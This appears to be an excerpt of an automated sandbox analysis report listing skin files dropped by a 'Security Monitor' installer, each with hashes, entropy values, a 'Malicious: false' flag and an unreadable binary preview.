Preview:	.....l..x..k...}.7$%J"MI.je.H..D...8........._H..`.....`....@..@..H..q\Zm.....:...&...nRY.6.u..IU\..&.Rv...i]..<..9=}........a.x..........v.{.qF..o.>....Q?.T?....f.d....n........!..Pw.}... ...O.>A.....O.>A... \|....'.. \|....'.....O.>A.....O.>A.. \|....'.. \|...B.....O.>A.....O..'.. \|....'.. \|..>A.....O.>A.....O...'.. \|....'.. \|.O.>A.....O.>A........'.. \|....'.. .O.>A.....O.>A..!\|....'.. \|....'....O.>A.....O.>A... \|....'.. \|....'.....O.>A.....O.>A.. \|....'......c.........$G/%X.$Q>.M...>.'.....\|.O...'.. \|.O..>.'.....\|.X.lB....).I..'\|....'....$..S.\|.P7. 4.n.>..o.u...~6..y..}k../....~....J..,}...g#.q ...HD.....(kq..V..'<....C.?...........8. l.m....z.....P$?.{.......hh......}aH.....=.T.WH.........{....Y~....a.$J~..D....`$"..!]q8......(.q..$.W.j...u..8\|..B.K....."X<qH.Xz.8\|.R.`I~..{nK.K.....-.,..{.#X...o........9.E...O~..Y... \|.By...w.W.[....8\|k1.....j..=.}.._/~...7;[....N.._.uj...KGvW...B..J...f.C.........7....m.-......8.y"7.re!...-.>8_6.wWJ.).ur..!.q.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\Android.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	65863
Entropy (8bit):	7.956619819086428
Encrypted:	false
SSDEEP:	1536:O6yYtz5wY3k3atdbzv0dBtGQKF30k2V7qyEEQq2uUwAqlgQM:O6yYtlxeaktcsJQzvqlgQM
MD5:	81E1F6AF711947DE0DECC68E58C0C293
SHA1:	557A98909549083A962BE781FA01D74979D01DDA
SHA-256:	B1E632717552DEB6BAB0D84839FC698DEA272EC0D1CE4A757BE5246788AB066A
SHA-512:	D2436A2CED9335BA4B4E2D08EB8449FDCDE43135A138A9EF6F73BCB7A98B56BFC0C8FFC29CC4F604B4F782AA0596EFD712F74B035A081ADFBFBCD88C015DACAB
Malicious:	false
Reputation:	unknown
Preview:	....?...x..].@.G.~..&j4.cbI.I..W.....b.).h,1F#F.{.FS...6......(`...{/r.{{,Y...=n.x..........w.ofK.Z....oE/..Q.a....7..p... @./.\|.d.....?_N%'..........l...J..O.n.fA..5......:...~g......w.;......~gc.......l.w6.;.......~gc.......l.w6.;......~g......w.;......~gc.......l.w6.;.......~gc.......l.w6.;......~g......w.;....~gc.......l.w6.;.......~gc.......l.w6.;.......~gc......w.;....~gc.......l.w6.;.......~gc.......l.w6.;.......~gc......w.;....~g......l.w6.;.......~gc.......l.w6.;.......~gc........w.;....~wuu...O.f. C..J,....J.......`.>..,.~.d+1&...[.1...J.I...VbL..+l%.~.e+1&...[.1..o..........l%.~..VbL..{l%.~..VbL.. ..cR.?f+1&..S..cR.......=......l%..~../...#.J..........{4[.1....b.J...>c.;w..c.J........W.].V}....Cw..O.8.W....J.J`.hC......t__.....k<...@.f...E.......{...o<.p#........9.uR.9t..JG.[A..Y.A0.2...=b......>...J..l.....?./\]]...+.z...c.....u.#\.A...l. ......6......~...q.x.?..........\|P.qq.-../..lq.-..........;........;..?...]q.+.w..o..#p?&...A.?.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\Charm.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	122200
Entropy (8bit):	7.981243125429923
Encrypted:	false
SSDEEP:	3072:LcJ9eG7nGSn39jEfKuu6Arxa7DcbPDxMeYw0Hu/dxjfjOL:geGnh39jEfKuz4ky1J0MxE
MD5:	13E9A3A7019801450759DB3C1123B986
SHA1:	4C5CD7A1176217FAFBB92B285F5E39C271C2D26F
SHA-256:	3F8FBC9026671A1B94C6AAFD3FCB11CC015A950512883A91B0620CA22739FC31
SHA-512:	AECB72D9DB235476744C0E9A3CD8884231B38243E2B60CC4DAC84503B2D6EE42CD1EBF3A49A231724998E580A8910E0F05A1652A916987EE6E2D860D3C37258F
Malicious:	false
Reputation:	unknown
Preview:	....P...x...x\Gz...............z...zg..^.}.f...3.K...hFY#..F..II..)QY..A0.$.@$..s.A.s..@G.._.j4N.n....h4............9..V.\|..O...rc.7....\..U....V}]..#.....J..*..G.!d%..c%....p.\t.A!.....BV.H.....A.AB.. . !.y.y...<.<H.a..t.B..9#...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.. . !.y.y...<.<H.a.d.$.0.2..B.....!...B.. g...<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\Default.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	74289
Entropy (8bit):	7.983650396991257
Encrypted:	false
SSDEEP:	1536:pyMfdEQ9zaVeRu8IDdsxPBwaUXYPRuFEDNJs9Li9GE7bpgVkSyml:pyMlZNaV2U5s7wLXYIuDNa9e9GE7G6Sh
MD5:	1390E5507BA0EFAE031318614A527C91
SHA1:	1327BD4FC6FFFADA97721375692ACB2E39F4DC95
SHA-256:	8C7BF368852F4FB69975B3841708CF654B0A22D02ED4BC2D95574EE50770694B
SHA-512:	B505E89C3A8C063A852C6654B58AEC996C6649692ED42584C69DE70DDE8F46C448B1A7B00B7465945B4BD2710A565FBD7C6A00556221DDFB5D966CBE3E8C8214
Malicious:	false
Reputation:	unknown
Preview:	....)"..x...s.Y............L....?`6v7b_w.n..jSNeUV.r.(.(.%.Q.I.F.=EO....{o...=e.{@HP"...I.'.#T"..'....y...?-......,.O..........[..u~._a..........e... .=!..2R..s.....B7 3I..,..yk.}\~....W.. t.2....4.......y..Bs K...w.o.. 9.......?.=......$'.\....].)\\|.$F..! c!o..[...e..i...RJ...I..g..B.5..lA.....FR~..s...S.}......[7...e..$.l.?A. ..3....o!.!.I....:w....A.o.....A...!d#9w..F....].A...G..$.A....P%.NCB..5.Z....."6..2w.\|g.s.....6o.....~.n.^..G.....K...(%.~...1r.j2,e,.'b..&t.1.. ZV...Y`.mV3.!d#)?!c1w...>Q..dL....P.g..kO>w..E...S.>..n..L..!5S.......%AB....aI...,..OR..[`H.6K..k...2.4`M...$.I3D!......X@.s.k..?w3..Q1S.r.Ic..)F.Z.Hj...S.R.1..~...Go.b..\|.:.... V3....X(I..,..v+..}s....r.fAR..&X)..E..}t........0w.%...m.AR.#A0w.\.s..Y...3.U..d.....F.,...]...`."....,<w.$^. Y.}dH....,....t$.$...9.6.....]..A.G.....a. ..Z.ds7.M...V }..]kR..B.T..t..~. ...H.$s.b./.G."t..7..5.tI<0.AR..o..5.T..- }..].^...$[.u.$s.W........*..5..Z..A..^.L2w.Z.F)C.l.Mo....(.J).d..J.d

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\HUD.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	47367
Entropy (8bit):	7.962365375624471
Encrypted:	false
SSDEEP:	768:k1CdRYP33ZhH7Dsk+0msPSEBEilsj15FNPj1bgC+UTbhrpyambFRVrn3hh+PX2zg:/uvob0m8EiujFNPREhOhrfqFRV7hMv2k
MD5:	E7B7F860D4178823CB0BF8A87AAED3E8
SHA1:	4F819FE07BD2A290877DAC09158A342F00A2AFE7
SHA-256:	2D042AEB8DB400EB4E3BC283E7546EE93D4ECC6B8BD5DCA0D89819DA517466EF
SHA-512:	105C6F1706497252BDD95CE96621B8B42E10DCFF246AFD302723AAFC99DE2C8F168C366E79E9D1B7F151CF1D755B7D74BBB8AA0152B89B729A0634B7E0240CD9
Malicious:	false
Reputation:	unknown
Preview:	........x..y....){<..3......m...-....[R/.n-.V.$.ZZ..#\|%$..."...X..B...`..{...6........w.#&....../b...o..p^w:;.O.sj.:.y..NV.[.o......z~..F......$.........#........Ce\.2.GeV,C.!.2.X...eH.....p......!.2.X.,C.a...c...).!.2d...Y...b.R,C.!.2.X...eH..).!.2d.R,C.eH..Y...b.R,C.!.2.X...eH..).!.2d.R,C.eH..Y...b.R,C.!.2.X...eH..).!.2d.R,C.eH..Y...b.R,C.!.2.X...eH..).!.2..2...Vn-Y.!.b.R,C.!.eH..).!.e.2.X...b...).!.2.X.,C.eH..).a9...c......e.2..)C.b...).!.2.X.,C.eH..).!.r...P...eH9R..G........OeV.e8....p.Y..a..Y..p.....3.......5jhh.h.EeP(8..Q/.."6.....L.E..C....k.].pA..9TF$.!...7j.{...o.;vL...r^R.(2...o.?...\|...o...K/..\.....;.rF(.......bBa..Pp(.Q....?..O..........O>.[.>.tS(......."C...F.....k..Q9..I.w......o....?.I...Q.._..Q.EQ.EQ.......^....Q..g.WG.w..Q.........+.o...6..l......{r.._...&~.....3)..k{)....R.JEo./....T.=..~....k[=....c.qj~l8.xm.G^o..S......9u.K..]9.J.....c...s......L?........4.C+W......S.c.2VN.....^4,l..2..r.Ue,5.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\SnowLeopard.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	144577
Entropy (8bit):	7.984713151564499
Encrypted:	false
SSDEEP:	3072:MZk6EgfzDfFnHj9A6d5qxvZkr0U26aqBQ5fzFZeKcrjXgtrOG79:M1fzDfFhAE5ykr0R6jBQ5rahgtrx9
MD5:	F7F4FE155A8FF420BCB4710212F0D469
SHA1:	F6A8265AA0504CE12397350A6CEE41F3B799B40D
SHA-256:	0232D8214B2FA4C6E261D72B3FB1E8EB76599F372FD8880AA252F4F494E7A7C1
SHA-512:	2205D714D4410315E4887A6B54306E99D4ED0B591284D20BE1DD451A4657DA039B9877698113E150059587216AE121E2AFDA14D3E74E649DB60B19BC559AB3B7
Malicious:	false
Reputation:	unknown
Preview:	.....4..x..}.`.....w...K.$v\|..8..vv.v...[.r.-.eu[..,Y..D.....{...@.h..{!@.F.S.gwI..A...........y3...........,...../..(......w._.....{~L....a&A.G..)@s.........4.h...\..@@s.........4.h...\ ..@s.........4..h..\ ..@s.0=s.\1.........4..h..\ ..@s.........4..h..\ ..@@s.........4.h...\..@@s.........4.h....\ ..@s.........4..h..\ ..@s..........b.D..r..L..N.oR.^.o.....,.9.Y...&.Y...i.&.0U..n.>......Y.N...L.1........`.^.a.....D"F...) .B..Ke..B.N........B!C...) .B.R..n)`....h4..[...b..Z........Cg.J.T#."..a...0.......V.C.S@..h.@...)....Y.pK.S@..f.D...) ...p..n)`...p:..k@.E.....s.r.....0..\....L....\|..b..{{Mf#..-...?:...}f.[.....X."...f..V..4...n..................6K..p.D...C..`.....v...8....)....b5.0. .J..A..0. .M....._.................p.....w...a...>L....`SWW.=.8...&...a]...........................a..nV..S#.....I.p..w...W.......<.{=.....}....?...~......3.(N.fG......\........Ek..........)'...}..D$.I$..T*....X.>>T. "..\|>.(;1... ...C.....iRRR ".`..q.q.=s.0.p"T.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\Ubuntu.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	61361
Entropy (8bit):	7.974577216527501
Encrypted:	false
SSDEEP:	1536:hsQScTKMW3NmUWxxSvsA+vvZQnBIuzN1SKvzuQ/S93iiXmNF+O:0c638UWrSvsfve6ux1S5Q/sm3
MD5:	DAC5D65C6B4F0B8483DBDA7EF4EFB3F2
SHA1:	BE01B81E548343D0888E912CDF3EBCE5A613CA85
SHA-256:	FBFCC9AF1DC9076257B3D38BDA525B13E0BA96EAD1DBA4178C5C1AE9DA28169E
SHA-512:	DB98B144AEEB09A3B0480F908DE0ACFA6D5832F8EB48D025048D6D6FFE2E01BFF46D16B3BF5AF5B1E6129E749A01E79968C79429A3493979CAAE519E2E22642E
Malicious:	false
Reputation:	unknown
Preview:	........x.....G.-....7.......w.....hv.F....F..x..A..y?.H#..FHB.0...w..M.M{W.].}7..;...d.......?tHeGFF.."NEfT....R.A?...H'-...c................ue.6{.!2.WXJ.(......;..N ......;..N ......;..N ......;..N ......;..N .....w....@~'....w...@~'....w...@~'....w...@~'....w...@~'....w....N ......;..N ......;..N ......;..N ......;..N ......;..N~';....w...@~'....w...@~'....w...@~'.......9.....8..{d..)......8}.Yd.H..>q...C..N.0u:.!...?;y.!.....4...i...DM";D...g..";D...Q.%;D....c..".p...%;D...a..!;D...!#G..".p...#....8}......8....d.H...o.P.C..N.3h0.!.....0...i..{..@v.4.....#;D...n}.>..S].."........[."...m;t$D....w...@~'....w...@~'....w..........Q`~..+!....{.BD...k.^....{..}......}..".....$D......L.(0...2..Q...<x...O.".....CF.$D.....M.{(..].L.:...`.}`..UB.A...>..o[.i1.=........I....6^....B.^...W.....,...;...2Z<x..'.'eI.J.(Q.D..%J.(Q.D..%J.(Q.D..%J.(Q.D..%J.(Q.D..%J.Ke.W.?.Qg.V.>xPf...W.....>....D.h......>m!...........h!.{."%J.....g.n...m.....ujk^a ...W.0....(o...~....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\Win8.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	93110
Entropy (8bit):	7.980490586282423
Encrypted:	false
SSDEEP:	1536:KSERpvQcTD4m7uJB896GhoGf96pxWrGbZ3Wi0lXONwy/l+U0/F8/HftM6Tg19+Nc:tERpZcmQB89f6sGZWfX8w2+UfXJU
MD5:	C8EF42B94E09A94F677FB1FFED974205
SHA1:	BEE03B2984273D08E17C0351CD8E7B8E640E0CF4
SHA-256:	7794BCAB01CA657C2F908C79EED3AF9EB4B4585ED933DFB24F68B7AC5CEA4C4A
SHA-512:	DE4223558585667D040FDC14647EB0CB9EBE0001EE459E3E97A12C727017131354720BAF5F3CA399E11A17FBD61C65480836FF4F336B506753438FE8B42FDB56
Malicious:	false
Reputation:	unknown
Preview:	.....k..x..}.x.....Y.....~..e.~...v..l.yI6N........N...q6..l..E.z.)Q.EI.{'..X$...t.D.XAr..g..`P......w(..w.....=s......w...!.,P...-.g..\|.K.>..1..w...?7~s...6.\|.....F...y}/....4l..K.hF".2.b.h.P.2..C.h.?.d.hX.@H..j.@H..a.j..@.#..a.j.5.@.#..a..5.@.....a..5.@....a.0.5.@....Q...0...F P...0j...F P..D8.6.2?...O..........a..5.@.......;.C.#b].5.a.j..@.#..a.j.5..u...j....~.5.@.#..a..5.@.......j.0.5.@.....0.5..F.....0...F..Q....OP...0...F P...0j...F P...j...F.#P...j..@.#P.aDlh.X..F.....0...F..Q...0...F P...0j...F P..D......a..5.@....a.0.5.@.....0.5..F.....0...F..Q...0.!..+y.....a..5.@....N.s.aD,k..F.....0...F..Q...0..^..`4\|.j...F P...j...F.#P...j...D.}.a.j..@.#..a.j.5..)....F.....0...F..Q.8...j...F P...j..!5...0.5.@.....4\..F.....0...F....O....a..5.@....a.0.5.@.....0.5..F.....0...Fl...P...0..n..B.#P...j......\|.#.....y.[.c....H.....i.....!j...F"._.w....a$.5.D....a.0.5.D...H.0.5.D...H.0.........a$.5.D....a.0.5.D...H.0.5....5.D...G.3A...H.0.....M.Hd..a$2.I.q......V............

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\iOS4.skn (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	63924
Entropy (8bit):	7.981383813742454
Encrypted:	false
SSDEEP:	1536:OVuuNRRWZGzeoGBz3c0GaWGCywXfi4kvMG9Or:GuuN/zlgBlpMG9Or
MD5:	84BE9F08F6AC3191FC36CBE1F0C29007
SHA1:	72EB8308E4B5DCB1FACD0AB128E04EBC31FBAEB8
SHA-256:	A3EF2C08C1465BDAA8AAFC8B77A6347BD65CD92EB1738242362F74889CFDA630
SHA-512:	FCD8906E3F6A638185608869960A990F3DA2EE9508674E5FABDA588DF32B39625B5845AC3D975FF8F7E7CD8375CAFE6A7CB6C79C45D8EA9A7850238E95CF09BE
Malicious:	false
Reputation:	unknown
Preview:	........x..].@...5y...M.1y)j........a...]zGz..(..."..D.. ..{.5.D.c......n...mvv.].;.....o.w.3...........u/.......H.6......X.\|6.o.T....(++[.tiNNNFFFBBBhX......[.._dXHjB....9.....[.p~cf..D.b6R.h...z.U..@a.3P.h........A..%..Z.??..9)))....~.q1..'g..F.....y.:....m...A3@I.'P.h...:....@y.?P!h....TTT.`..........y.3fOO..0{...h...B.......@s.<........]Z.dIVVV..........;...@ 41.NP.h........A..K..-.5+%9e......?I........@..B."(.t)7779%.. .s..?....<BcE ....../.<........]........>.].\K.=.@ h..>..@j.?P!h.......Y.f........C,........t.@ H.4...T.....i..A..H.eK.Rb..}A.KL.....~...^h.]...;......z@C.$....O>....5..2..-."A.6.+..2.-..=D../.k.f..={..O..>......D...z@C.$.....O<......B..H...u_\|...2..?..S.57.7/9j.$".H......=.....e...A..Ke+..}....t.g.AlRx.......o;".H.P...T..K..0\...<."(.ti......=..b....]......y..D.&..@.p...k.Ca......K.6..{........]...R..O$....J....]z.s.(.?..Ov5.A...=...\.KYaS.....D....$.....D.%".H$]"..-S...@.D$...K.?...?...h.m[.%".....s.(....<u....t

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-14PI3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	122200
Entropy (8bit):	7.981243125429923
Encrypted:	false
SSDEEP:	3072:LcJ9eG7nGSn39jEfKuu6Arxa7DcbPDxMeYw0Hu/dxjfjOL:geGnh39jEfKuz4ky1J0MxE
MD5:	13E9A3A7019801450759DB3C1123B986
SHA1:	4C5CD7A1176217FAFBB92B285F5E39C271C2D26F
SHA-256:	3F8FBC9026671A1B94C6AAFD3FCB11CC015A950512883A91B0620CA22739FC31
SHA-512:	AECB72D9DB235476744C0E9A3CD8884231B38243E2B60CC4DAC84503B2D6EE42CD1EBF3A49A231724998E580A8910E0F05A1652A916987EE6E2D860D3C37258F
Malicious:	false
Reputation:	unknown
Preview:	....P...x...x\Gz...............z...zg..^.}.f...3.K...hFY#..F..II..)QY..A0.$.@$..s.A.s..@G.._.j4N.n....h4............9..V.\|..O...rc.7....\..U....V}]..#.....J..*..G.!d%..c%....p.\t.A!.....BV.H.....A.AB.. . !.y.y...<.<H.a..t.B..9#...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.a.$...AB.. . !.y.y...<.<H.a.d.$.0.2..B.....!...B.. g...<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.!....<H.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-7NBNM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	74289
Entropy (8bit):	7.983650396991257
Encrypted:	false
SSDEEP:	1536:pyMfdEQ9zaVeRu8IDdsxPBwaUXYPRuFEDNJs9Li9GE7bpgVkSyml:pyMlZNaV2U5s7wLXYIuDNa9e9GE7G6Sh
MD5:	1390E5507BA0EFAE031318614A527C91
SHA1:	1327BD4FC6FFFADA97721375692ACB2E39F4DC95
SHA-256:	8C7BF368852F4FB69975B3841708CF654B0A22D02ED4BC2D95574EE50770694B
SHA-512:	B505E89C3A8C063A852C6654B58AEC996C6649692ED42584C69DE70DDE8F46C448B1A7B00B7465945B4BD2710A565FBD7C6A00556221DDFB5D966CBE3E8C8214
Malicious:	false
Reputation:	unknown
Preview:	....)"..x...s.Y............L....?`6v7b_w.n..jSNeUV.r.(.(.%.Q.I.F.=EO....{o...=e.{@HP"...I.'.#T"..'....y...?-......,.O..........[..u~._a..........e... .=!..2R..s.....B7 3I..,..yk.}\~....W.. t.2....4.......y..Bs K...w.o.. 9.......?.=......$'.\....].)\\|.$F..! c!o..[...e..i...RJ...I..g..B.5..lA.....FR~..s...S.}......[7...e..$.l.?A. ..3....o!.!.I....:w....A.o.....A...!d#9w..F....].A...G..$.A....P%.NCB..5.Z....."6..2w.\|g.s.....6o.....~.n.^..G.....K...(%.~...1r.j2,e,.'b..&t.1.. ZV...Y`.mV3.!d#)?!c1w...>Q..dL....P.g..kO>w..E...S.>..n..L..!5S.......%AB....aI...,..OR..[`H.6K..k...2.4`M...$.I3D!......X@.s.k..?w3..Q1S.r.Ic..)F.Z.Hj...S.R.1..~...Go.b..\|.:.... V3....X(I..,..v+..}s....r.fAR..&X)..E..}t........0w.%...m.AR.#A0w.\.s..Y...3.U..d.....F.,...]...`."....,<w.$^. Y.}dH....,....t$.$...9.6.....]..A.G.....a. ..Z.ds7.M...V }..]kR..B.T..t..~. ...H.$s.b./.G."t..7..5.tI<0.AR..o..5.T..- }..].^...$[.u.$s.W........*..5..Z..A..^.L2w.Z.F)C.l.Mo....(.J).d..J.d

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-A0DCJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	144577
Entropy (8bit):	7.984713151564499
Encrypted:	false
SSDEEP:	3072:MZk6EgfzDfFnHj9A6d5qxvZkr0U26aqBQ5fzFZeKcrjXgtrOG79:M1fzDfFhAE5ykr0R6jBQ5rahgtrx9
MD5:	F7F4FE155A8FF420BCB4710212F0D469
SHA1:	F6A8265AA0504CE12397350A6CEE41F3B799B40D
SHA-256:	0232D8214B2FA4C6E261D72B3FB1E8EB76599F372FD8880AA252F4F494E7A7C1
SHA-512:	2205D714D4410315E4887A6B54306E99D4ED0B591284D20BE1DD451A4657DA039B9877698113E150059587216AE121E2AFDA14D3E74E649DB60B19BC559AB3B7
Malicious:	false
Reputation:	unknown
Preview:	.....4..x..}.`.....w...K.$v\|..8..vv.v...[.r.-.eu[..,Y..D.....{...@.h..{!@.F.S.gwI..A...........y3...........,...../..(......w._.....{~L....a&A.G..)@s.........4.h...\..@@s.........4.h...\ ..@s.........4..h..\ ..@s.0=s.\1.........4..h..\ ..@s.........4..h..\ ..@@s.........4.h...\..@@s.........4.h....\ ..@s.........4..h..\ ..@s..........b.D..r..L..N.oR.^.o.....,.9.Y...&.Y...i.&.0U..n.>......Y.N...L.1........`.^.a.....D"F...) .B..Ke..B.N........B!C...) .B.R..n)`....h4..[...b..Z........Cg.J.T#."..a...0.......V.C.S@..h.@...)....Y.pK.S@..f.D...) ...p..n)`...p:..k@.E.....s.r.....0..\....L....\|..b..{{Mf#..-...?:...}f.[.....X."...f..V..4...n..................6K..p.D...C..`.....v...8....)....b5.0. .J..A..0. .M....._.................p.....w...a...>L....`SWW.=.8...&...a]...........................a..nV..S#.....I.p..w...W.......<.{=.....}....?...~......3.(N.fG......\........Ek..........)'...}..D$.I$..T*....X.>>T. "..\|>.(;1... ...C.....iRRR ".`..q.q.=s.0.p"T.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-D2UD1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	65863
Entropy (8bit):	7.956619819086428
Encrypted:	false
SSDEEP:	1536:O6yYtz5wY3k3atdbzv0dBtGQKF30k2V7qyEEQq2uUwAqlgQM:O6yYtlxeaktcsJQzvqlgQM
MD5:	81E1F6AF711947DE0DECC68E58C0C293
SHA1:	557A98909549083A962BE781FA01D74979D01DDA
SHA-256:	B1E632717552DEB6BAB0D84839FC698DEA272EC0D1CE4A757BE5246788AB066A
SHA-512:	D2436A2CED9335BA4B4E2D08EB8449FDCDE43135A138A9EF6F73BCB7A98B56BFC0C8FFC29CC4F604B4F782AA0596EFD712F74B035A081ADFBFBCD88C015DACAB
Malicious:	false
Reputation:	unknown
Preview:	....?...x..].@.G.~..&j4.cbI.I..W.....b.).h,1F#F.{.FS...6......(`...{/r.{{,Y...=n.x..........w.ofK.Z....oE/..Q.a....7..p... @./.\|.d.....?_N%'..........l...J..O.n.fA..5......:...~g......w.;......~gc.......l.w6.;.......~gc.......l.w6.;......~g......w.;......~gc.......l.w6.;.......~gc.......l.w6.;......~g......w.;....~gc.......l.w6.;.......~gc.......l.w6.;.......~gc......w.;....~gc.......l.w6.;.......~gc.......l.w6.;.......~gc......w.;....~g......l.w6.;.......~gc.......l.w6.;.......~gc........w.;....~wuu...O.f. C..J,....J.......`.>..,.~.d+1&...[.1...J.I...VbL..+l%.~.e+1&...[.1..o..........l%.~..VbL..{l%.~..VbL.. ..cR.?f+1&..S..cR.......=......l%..~../...#.J..........{4[.1....b.J...>c.;w..c.J........W.].V}....Cw..O.8.W....J.J`.hC......t__.....k<...@.f...E.......{...o<.p#........9.uR.9t..JG.[A..Y.A0.2...=b......>...J..l.....?./\]]...+.z...c.....u.#\.A...l. ......6......~...q.x.?..........\|P.qq.-../..lq.-..........;........;..?...]q.+.w..o..#p?&...A.?.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\skins\is-EN2GR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	data
Category:	dropped
Size (bytes):	47367
Entropy (8bit):	7.962365375624471
Encrypted:	false
SSDEEP:	768:k1CdRYP33ZhH7Dsk+0msPSEBEilsj15FNPj1bgC+UTbhrpyambFRVrn3hh+PX2zg:/uvob0m8EiujFNPREhOhrfqFRV7hMv2k
MD5:	E7B7F860D4178823CB0BF8A87AAED3E8
SHA1:	4F819FE07BD2A290877DAC09158A342F00A2AFE7
SHA-256:	2D042AEB8DB400EB4E3BC283E7546EE93D4ECC6B8BD5DCA0D89819DA517466EF
SHA-512:	105C6F1706497252BDD95CE96621B8B42E10DCFF246AFD302723AAFC99DE2C8F168C366E79E9D1B7F151CF1D755B7D74BBB8AA0152B89B729A0634B7E0240CD9
Malicious:	false
Reputation:	unknown
Preview:	........x..y....){<..3......m...-....[R/.n-.V.$.ZZ..#\|%$..."...X..B...`..{...6........w.#&....../b...o..p^w:;.O.sj.:.y..NV.[.o......z~..F......$.........#........Ce\.2.GeV,C.!.2.X...eH.....p......!.2.X.,C.a...c...).!.2d...Y...b.R,C.!.2.X...eH..).!.2d.R,C.eH..Y...b.R,C.!.2.X...eH..).!.2d.R,C.eH..Y...b.R,C.!.2.X...eH..).!.2d.R,C.eH..Y...b.R,C.!.2.X...eH..).!.2..2...Vn-Y.!.b.R,C.!.eH..).!.e.2.X...b...).!.2.X.,C.eH..).a9...c......e.2..)C.b...).!.2.X.,C.eH..).!.r...P...eH9R..G........OeV.e8....p.Y..a..Y..p.....3.......5jhh.h.EeP(8..Q/.."6.....L.E..C....k.].pA..9TF$.!...7j.{...o.;vL...r^R.(2...o.?...\|...o...K/..\.....;.rF(.......bBa..Pp(.Q....?..O..........O>.[.>.tS(......."C...F.....k..Q9..I.w......o....?.I...Q.._..Q.EQ.EQ.......^....Q..g.WG.w..Q.........+.o...6..l......{r.._...&~.....3)..k{)....R.JEo./....T.=..~....k[=....c.qj~l8.xm.G^o..S......9u.K..]9.J.....c...s......L?........4.C+W......S.c.2VN.....^4,l..2..r.Ue,5.

